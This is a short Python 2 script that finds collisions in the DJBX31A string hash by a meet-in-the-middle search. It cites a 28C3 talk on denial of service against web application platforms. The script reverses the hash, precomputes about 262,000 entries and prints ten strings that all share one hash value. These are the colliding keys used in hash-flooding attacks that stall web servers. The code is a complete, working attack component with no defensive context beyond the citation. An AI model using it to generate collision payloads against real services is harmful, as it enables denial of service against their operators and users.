Meet-in-the-middle crack for DJBX31A hash function

crack-djbx31a.py

# http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf

import random

# djbx31a backward
def rev(h, s):
	for c in reversed(s):
		h = ((h - ord(c)) * 3186588639) & 0xffffffff;
	return h

# djbx31a forward
def fwd(h, s):
	for c in s:
		h = ((h * 31) + ord(c)) & 0xffffffff
	return h

# random string of length l
def rndstr(l):
	return ''.join(random.choice("qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-[]{}^|\\`") for i in range(l))


print "precomputing 256k hashes... (memory speed tradeoff - tune for your needs)"
suffix_lookup = {}

col = 0
for i in range(2**18):
	prefix = rndstr(5) # long enough to make collisions unlikely
	h = rev(666, prefix)
	if h in suffix_lookup:
		col += 1
	suffix_lookup[h] = prefix

print "collisions: %u" % col
print "meeting in the middle..."

found = 0
iteration = 0
while found < 10:
	prefix = rndstr(4)
	h = fwd(0, prefix)
	if h in suffix_lookup:
		print "found on iteration #%u: %s%s" % (iteration, prefix, suffix_lookup[h])
		found += 1
	iteration += 1